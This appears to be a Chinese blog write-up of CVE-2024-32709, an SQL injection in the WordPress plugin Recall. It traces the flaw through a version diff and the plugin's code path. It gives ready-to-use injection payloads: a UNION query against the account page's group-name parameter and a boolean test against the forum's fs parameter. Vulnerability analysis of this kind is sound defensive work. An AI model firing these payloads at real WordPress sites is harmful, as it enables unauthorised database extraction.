0%

WordPress 插件Recall SQL注入漏洞&分析(CVE-2024-32709)

漏洞描述

WordPress 插件Recall 存在SQL注入漏洞,导致获取数据泄露。

影响版本

<= 16.26.5

漏洞复现

1
/account/?user=1&tab=groups&group-name=p'+or+'%'='%'+union+all+select+1,2,3,4,5,6,7,8,9,10,11,concat("Database:",database(),0x7c,"Version:",version()),13--+-

image-20240716154249925

漏洞分析

我们diff一下两个版本,16.26.5与16.26.6

image-20240716135507821

可以在class-rcl-groups-list.php中发现这样一处改变

image-20240716135636912

esc_sql函数就是转义函数

image-20240716140105125

那应该就是group-name参数会造成sql注入,传入的group-name被赋值到了$this->search_name中,看一下这个变量在哪里被使用了,可以找到一个add_query_search_name函数

image-20240716140535850

可以看到定义了一个sql查询语句,并且使用的是LIKE语句,我们再看看add_query_search_name函数在哪里被调用

image-20240716144219903

将add_query_search_name函数添加进了过滤器中,上面提到的这几个漏洞点均在__contruct方法中,并且也都在Rcl_Groups_List类中,于是我们全局搜索一下new Rcl_Groups_List

image-20240716144414431

跟进到这个php文件

image-20240716144744228

image-20240716144724585

rcl_get_grouplist函数被添加进了grouplist标签中,并且该函数中就有我们需要的new Rcl_Groups_List

于是我尝试寻找存在[grouplist]的调用,但没有满意的结果,便继续向上寻找rcl_get_grouplist函数的调用,在wordpress/wp-content/plugins/wp-recall/add-on/groups/index.php中调用了该函数

image-20240716145904686

image-20240716150012900

最后找一下哪里有groups相关的功能就行,在account路由下面发现

image-20240716152451067

传入payload

1
/account/?user=1&tab=groups&group-name=p'+or+'%'='%'+union+all+select+1,2,3,4,5,6,7,8,9,10,11,concat("Database:",database(),0x7c,"Version:",version()),13--+-

回显字段数可以通过order by判断

image-20240716153807498

另外,由于add-groups默认为inactive,所以需要到管理员页面开启

image-20240716154215676

还有一个payload

1
/forum/?fs=.%'+and+if(1=1,'%',1)='

image-20240716155646484